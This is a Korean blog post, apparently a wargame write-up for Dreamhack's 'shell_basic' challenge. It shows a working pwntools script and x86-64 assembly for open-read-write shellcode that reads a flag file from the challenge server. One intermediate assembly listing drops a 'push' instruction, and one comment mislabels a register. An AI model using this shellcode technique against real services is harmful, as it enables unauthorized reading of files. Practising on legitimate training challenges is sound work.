문제 : https://dreamhack.io/wargame/challenges/410
< 문제 분석 >
execve shell code를 사용할 수 없음
> orw shell code를 이용하여 /home/shell_basic/flag_name_is_loooooong 에 있는 값을 알아내야함
int fd = open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL);
read(fd, buf, 0x50);
write(1, buf, 0x50);
> C언어 형식의 의사코드로 표현
<Syscall Table>
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
read | 0x00 | unsigned int fd | char* buf | size_t count |
write | 0x01 | unsigned int fd | const char* buf | size_t count |
open | 0x02 | const char *filename | int flags | umode_t mode |
pwntools 사용
from pwn import *
> pwntools 모듈 import
remote : host 정보의 port에서 실행중인 프로세스를 대상으로 익스플로잇 수행
p = remote("host정보", port)
> 서버에 접속
context.arch : 아키텍처 정보를 지정할 수 있도록 함
context.arch = "amd64" #아키텍쳐 x86-64
> x86-64 아키텍처 설정
int fd = open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL);
- path = "/home/shell_basic/flag_name_is_loooooong"
- shellcraft.open 과 같음
- asm : 기계어로 어셈블하기
shellcode = asm(shellcraft.open(path)) #open
> open 한 값을 기계어로 어셈블하여 shellcode 변수에 저장
read(fd, buf, 0x50);
- open 후 fd의 값은 rax에 저장되어 있음
- buf : rsp(현재 스택 포인터의 값과 같음)
- 0x50 : 0x50만큼 읽어옴
shellcode += asm(shellcraft.read('rax', 'rsp', 0x50)) #read
> read한 값을 기계어로 어셈블하여 shellcode 변수에 저장
write(1, buf, 0x50);
- stdout 에 프린트 > 1
- buf : rsp(현재 스택 포인터)
- 0x50 : 0x50만큼 출력 > 읽은 값을 그대로 출력하기
shellcode += asm(shellcraft.write(1, 'rsp', 0x50))
> write한 값을 기계어로 어셈블하여 shellcode 변수에 저장
서버에서 보낸 값을 프린트 > shell code :
shellcode 실행
서버에서 보낸 값을 프린트 > flag
print(p.recv())
p.sendline(shellcode) #shellcode 보내기
print(p.recv())
from pwn import * #pwntools import
p = remote("host정보", port) #연결할 서버
context.arch = "amd64" #아키텍쳐 x86-64
path = "/home/shell_basic/flag_name_is_loooooong" #path 설정
shellcode = asm(shellcraft.open(path)) #open
shellcode += asm(shellcraft.read('rax', 'rsp', 0x50)) #read
shellcode += asm(shellcraft.write(1, 'rsp', 0x50)) #write
print(p.recv())
p.sendline(shellcode) #shellcode 보내기
print(p.recv())
> pwntools로 구현한 코드
어셈블리 코드
1) int fd = open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL);
리틀 엔디안 형식으로 8바이트씩 분리한 경로
: 68732f656d6f682f // 697361625f6c6c65 // 6e5f67616c662f63 // 6c5f73695f656d61 // 676e6f6f6f6f6f6f
- rdi (filename) : rsp를 가르킴
- rsi (flags) : O_RDONLY > 0
- rdx (mode) : mode 의미 없음 > 0
- rax : open의 syscall 값 > 2
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
mov rdi, rsp ; rdi = "/home/shell_basic/flag_name_is_loooooong"
xor rsi, rsi ; rsi = 0
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rdx = 2
syscall
> 구현한 어셈블리 코드
2) read(fd, buf, 0x50);
- rdi (fd) : rax를 가르킴
- rsi (buf) : 읽을 데이터를 저장할 주소 > rsp-0x50(0x50만큼 읽을 것이므로)
- rdx (count) : 읽어낼 데이터의 길이 > 0x50
- rax : read의 syscall 값 > 0
mov rdi, rax ; rdi = fd
mov rsi, rsp ; rsi = rsp
sub rsi, 0x50 ; rsi = rsp-0x50 ; buf
mov rdx, 0x50 ; rdx = 0x50 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x50)
> 구현한 어셈블리 코드
3) write(1, buf, 0x50);
- rdi (fd) : stdout 출력 > 0x1
- rax : write의 syscall 값 > 1
read랑 같은 값을 쓰는 레지스터
- rsi (buf) : 읽을 데이터를 저장할 주소 > rsp-0x50(0x50만큼 읽을 것이므로)
- rdx (count) : 읽어낼 데이터의 길이 > 0x50
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x50)
orw.asm
section .text
global _start
_start:
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
mov rdi, rsp ; rdi = "/home/shell_basic/flag_name_is_loooooong"
xor rsi, rsi ; rsi = 0
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rdx = 2
syscall
mov rdi, rax ; rdi = fd
mov rsi, rsp ; rsi = rsp
sub rsi, 0x50 ; rsi = rsp-0x50 ; buf
mov rdx, 0x50 ; rdx = 0x50 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x50)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x50)
'Hacking > Wargame' 카테고리의 다른 글
[Pwnable] basic_exploitation_001 (0) | 2024.04.03 |
---|---|
[Cryptography] Textbook-RSA (1) | 2024.02.13 |
[Cryptography] Textbook-DH (1) | 2024.02.13 |
[Pwnable] basic_exploitation_000 (0) | 2024.02.09 |
[Pwnable] Return Address Overwrite (0) | 2024.02.07 |